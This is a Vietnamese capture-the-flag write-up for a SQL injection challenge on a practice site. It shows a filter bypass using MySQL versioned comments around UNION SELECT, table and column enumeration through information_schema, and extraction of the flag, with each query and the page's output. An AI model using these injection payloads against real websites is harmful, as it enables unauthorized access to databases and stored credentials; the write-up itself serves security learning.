

← → ↻ ⚠ Not secure | root0x00.altervista.org/sqli/waf2.php?id=1%27

Query Failed You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1'" at line 1

Bài này cũng tương tự ta cần tìm cách bypass được filter của trang web. Đầu tiên em sẽ thử kiểm tra kiểu input và kết quả là string. Tức là query có dạng `id=1'[query]-- -'`

Tiếp theo ta cần bypass filter để sử dụng được union select. Sau khi thử các cách khác nhau thì em tìm hiểu được ta có thể dùng `/*![query]*/`. Đầu tiên bỏ query vào `/**/` để tránh bị filter sau đó thêm dấu ! để làm cho query vẫn được thực hiện dù nằm trong `/**/`.

Query: `id=1'and 1=2 /*!union*/+/*!select*/+1,2,3,4,5-- -'`

← → ↻ ⚠ Not secure | root0x00.altervista.org/sqli/waf2.php?id=1%27and+1=2+/\*!union\*/+/\*!select\*/+1,2,3,4,5--%20-\*/

Hello and Welcome To Our Site, 5

---

**You are not admin and not Allowed to see private DATA , Please log**

[Log In Admin](#)

[Me](#)

Kết quả query bypass thành công và input thứ 5 sẽ xuất hiện trên màn hình.

Tiếp theo ta sẽ lấy tên bảng trong db.

← → ↻ ⚠ Not secure | root0x00.altervista.org/sqli/waf2.php?id=1%27and+1=2+/\*!union\*/+/\*!select\*/+1,2,3,4,group\_concat(table\_name)%20from%20information\_schema.tables%20where%

Hello and Welcome To Our Site, BlueMilkshake\_0,books,flag,users,{j\_FL4G\_T48L3\_0d},{j\_f14g\_t4b13\_0D}

---

**You are not admin and not Allowed to see private DATA , Please login to Continue leet....**

[Log In Admin](#)

[Me](#)

Query: `id=1'and+1=2+/*!union*/+/*!select*/+1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=database()-- -'`

Tương tự có bảng flag. Xem tiếp các cột của bảng flag.

`id=1'and+1=2+/*!union*/+/*!select*/+1,2,3,4,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'-- -'`

← → ↻ ⚠ Not secure | root0x00.altervista.org/sqli/waf2.php?id=1%27and+1=2+/\*!union\*/+/\*!select\*/+1,2,3,4,group\_concat(column\_name)%20from%20information\_schema.columns%20

Hello and Welcome To Our Site, id,username,password,flag

**You are not admin and not Allowed to see private DATA , Please login to Continue leet....**

[Log In Admin](#)

[Me](#)

Cuối cùng là query: `id=1'and+1=2+/*!union*/+/*!select*/+1,2,3,4,flag from flag-- -'`

← → ↻ ⚠ Not secure | root0x00.altervista.org/sqli/waf2.php?id=1%27and+1=2+/\*!union\*/+/\*!select\*/+1,2,3,4,flag%20from%20flag--%20-%27

Hello and Welcome To Our Site, flag{dDhbLnVnQF1UOypEbmtjd24jQ1VpP21fckNKLHZMI112QEFrKEItMzJ9fUBfLHRjTjozWFNETUx

**You are not admin and not Allowed to see private DATA , Please login to Continue leet..**

[Log In Admin](#)

[Me](#)

flag{dDhbLnVnQF1UOypEbmtjd24jQ1VpP21fckNKLHZMI112QEFrKEItMzJ9fUBfLHRjTjozWFNETUxpQFNUVig1Lmo1Kmp6JnldTksofTItYWN2dH1xVmJKIyU9Vy57e0F3aWFKbip0M3JxOGZ0ejo1JXtSM241UXEsdk5uW2NkLnpOW2docXZucj1LaCpXd1B6R3A7ZHQ6OFY3VC5fcSpqdjVSU119NjpoQC U5dSo9ejUmPXolMz9kMltMejVDQW1YM0hUWkdBKjZdV1VQcCwuJVgzI0UlRiw2ODJoTVR4JiFLi31yIUxqdXhYa3lpKUYpLzMzNUZoSyM2cnY9cEw6ZilTSEFLUD8rKT9LVGJjTnmpRC1LbnlaR111Mj1a aHgju3JoNipBW11TdTIpCg==}